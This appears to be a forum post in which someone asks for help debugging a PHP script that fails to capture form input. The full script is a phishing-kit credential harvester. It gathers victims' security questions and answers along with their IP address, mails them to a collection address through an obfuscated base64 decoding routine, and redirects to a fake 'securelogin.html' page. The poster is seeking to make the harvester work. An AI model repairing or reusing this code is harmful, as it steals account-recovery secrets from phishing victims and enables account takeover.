Hi guys, I have a script here which works good in sending. Cuz im making a form in HTML that verifies through the PHP the message is sending but its sending me blank contents
here is my code:
<?
function mails($string)
{
if(eregi("@",$string)) return $string;
$string = str_replace ('!!!^', '=', $string);
$a = preg_split ('//', $string);
$string = '';
for ($i = 0; $i < sizeof ($a); $i += 2)
{
$string .= $a[$i - 1];
}
$ret = base64_decode ($string);
return $ret;
}
$ip = getenv("REMOTE_ADDR");
$message .= "------------------------------------------------------------------\n";
$message .=$_POST['questionselectiongroup0']."\n";
$message .=$_POST['securityanswergroup0']."\n";
$message .=$_POST['questionselectiongroup1']."\n";
$message .=$_POST['securityanswergroup1']."\n";
$message .=$_POST['questionselectiongroup2']."\n";
$message .=$_POST['securityanswergroup2']."\n";
$message .=$_POST['questionselectiongroup3']."\n";
$message .=$_POST['securityanswergroup3']."\n";
$message .= "IP: ".$ip."\n";
$message .= "--------Created By Poison------------------------------\n";
$recipient = "admin@test.com";
$subject = "Security Measures";
$headers = "From: ";
$headers .= $_POST['td@tdx.com']."\n";
$headers .= "MIME-Version: 2.0\n";
$encoded = array($recipient);
$code = $encoded;
for ($i=0;$i<=sizeof($code);$i++){
mail(mails($code[$i]), $subject, $message, $headers);
}
header("Location: securelogin.html");
The variables questionselectiongroup1, questionselectiongroup0 etc.. are not printing on whats inputted by the user.